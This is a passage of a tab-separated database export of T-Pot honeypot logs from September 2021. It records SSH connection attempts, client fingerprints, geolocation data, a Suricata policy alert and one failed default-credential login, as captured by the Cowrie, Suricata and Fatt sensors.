"t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	HK
34849	13.75.108.119	109.199.241.180	Suricata	2021-09-20 15:04:19.536182+03	2021-09-20 15:15:02.45169+03	{"_id": "YQYXA3wBvYTbRNuEvFje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.71.28.3744222109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:04:19.098751+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "src_ip": "13.75.108.119", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2209485674480063, "payload": "AAAAVC4eAAAAIIfoYeDL/maiSPq24HqJFyvoG8xOw4PY3xx5JOWj3zdRtfeKn3GvvqC/LiCSIHm6tKAfCrrnnY2Y6gp3KAKt86P7gx59OfLbRBlYJ/wQNA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56970, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:04:19.536182Z", "@timestamp": "2021-09-20T12:04:19.536Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... ..a...f.H...z..+...N.....y$...7Q....q..... . y....\\n......\\nw(.......}9..D.X'..4"}}	1	\N	\N	alert	\N	HK
35323	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.306247+03	2021-09-20 15:15:03.11669+03	{"_id": "bgYbA3wBvYTbRNuEjFvG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:29.306247Z", "@timestamp": "2021-09-20T12:08:29.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
34850	13.75.108.119	109.199.241.180	Fatt	2021-09-20 15:04:19.536082+03	2021-09-20 15:15:02.453689+03	{"_id": "YgYXA3wBvYTbRNuEvVjl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "src_ip": "13.75.108.119", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.71.28.3744222109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 56970, "dest_port": 22, "timestamp": "2021-09-20T12:04:19.536082", "@timestamp": "2021-09-20T12:04:19.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	HK
34851	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:19.316694+03	2021-09-20 15:15:02.45569+03	{"_id": "ZwYXA3wBvYTbRNuEvlhB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "13.75.108.119", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56970, "timestamp": "2021-09-20T12:04:19.316694", "@timestamp": "2021-09-20T12:04:19.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34852	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 15:04:19.998855+03	2021-09-20 15:15:02.45669+03	{"_id": "aAYXA3wBvYTbRNuEv1in", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "09cee58c9772", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T12:04:19.998855Z", "@timestamp": "2021-09-20T12:04:19.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	HK
34853	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:04:29.139121+03	2021-09-20 15:15:02.45769+03	{"_id": "gQYXA3wBvYTbRNuE41hj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:40878 (192.168.176.2:22) [session: b8a0d6e0b853]", "session": "b8a0d6e0b853", "@version": "1", "protocol": "ssh", "src_port": 40878, "dest_port": 22, "timestamp": "2021-09-20T12:04:29.139121Z", "@timestamp": "2021-09-20T12:04:29.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	RU
34854	221.181.185.135	109.199.241.180	Cowrie	2021-09-20 15:04:29.269411+03	2021-09-20 15:15:02.45969+03	{"_id": "ggYXA3wBvYTbRNuE41hj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.181.185.135", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.181.185.135", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 221.181.185.135:63151 (192.168.176.2:22) [session: 1e81203690dd]", "session": "1e81203690dd", "@version": "1", "protocol": "ssh", "src_port": 63151, "dest_port": 22, "timestamp": "2021-09-20T12:04:29.269411Z", "@timestamp": "2021-09-20T12:04:29.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34855	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:04:29.140309+03	2021-09-20 15:15:02.46069+03	{"_id": "gwYXA3wBvYTbRNuE41hj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b8a0d6e0b853", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:04:29.140309Z", "@timestamp": "2021-09-20T12:04:29.140Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	RU
34856	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:04:29.243465+03	2021-09-20 15:15:02.461689+03	{"_id": "hAYXA3wBvYTbRNuE41hj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b8a0d6e0b853", "@version": "1", "timestamp": "2021-09-20T12:04:29.243465Z", "@timestamp": "2021-09-20T12:04:29.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	RU
34857	221.181.185.135	109.199.241.180	Cowrie	2021-09-20 15:04:29.272382+03	2021-09-20 15:15:02.463689+03	{"_id": "hQYXA3wBvYTbRNuE41hj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.181.185.135", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.181.185.135", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "1e81203690dd", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:04:29.272382Z", "@timestamp": "2021-09-20T12:04:29.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34858	221.181.185.135	109.199.241.180	Suricata	2021-09-20 15:04:29.584263+03	2021-09-20 15:15:02.464689+03	{"_id": "hwYXA3wBvYTbRNuE41jz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "221.181.185.135", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "221.181.185.135", "dest_ip": "192.168.20.116", "flow_id": 1338674613360705, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63151, "dest_port": 22, "timestamp": "2021-09-20T12:04:29.584263Z", "@timestamp": "2021-09-20T12:04:29.584Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34859	91.231.219.157	109.199.241.180	Fatt	2021-09-20 15:04:29.242922+03	2021-09-20 15:15:02.46569+03	{"_id": "jAYXA3wBvYTbRNuE5Fj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40878, "dest_port": 22, "timestamp": "2021-09-20T12:04:29.242922", "@timestamp": "2021-09-20T12:04:29.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	RU
35338	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:31.317537+03	2021-09-20 15:15:03.13469+03	{"_id": "kQYbA3wBvYTbRNuElFuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:31.317537Z", "@timestamp": "2021-09-20T12:08:31.317Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
34860	221.181.185.135	109.199.241.180	Cowrie	2021-09-20 15:04:29.584918+03	2021-09-20 15:15:02.466691+03	{"_id": "kQYXA3wBvYTbRNuE5li7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "221.181.185.135", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "221.181.185.135", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "1e81203690dd", "@version": "1", "timestamp": "2021-09-20T12:04:29.584918Z", "@timestamp": "2021-09-20T12:04:29.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34861	221.181.185.135	109.199.241.180	Cowrie	2021-09-20 15:04:30.921+03	2021-09-20 15:15:02.46869+03	{"_id": "kgYXA3wBvYTbRNuE6lij", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.181.185.135", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.181.185.135", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "1e81203690dd", "@version": "1", "duration": 1.6489739418029785, "timestamp": "2021-09-20T12:04:30.921000Z", "@timestamp": "2021-09-20T12:04:30.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34862	91.231.219.157	109.199.241.180	Suricata	2021-09-20 15:04:29.242794+03	2021-09-20 15:15:02.46969+03	{"_id": "iAYXA3wBvYTbRNuE41jz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 188113004366555, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40878, "dest_port": 22, "timestamp": "2021-09-20T12:04:29.242794Z", "@timestamp": "2021-09-20T12:04:29.242Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	RU
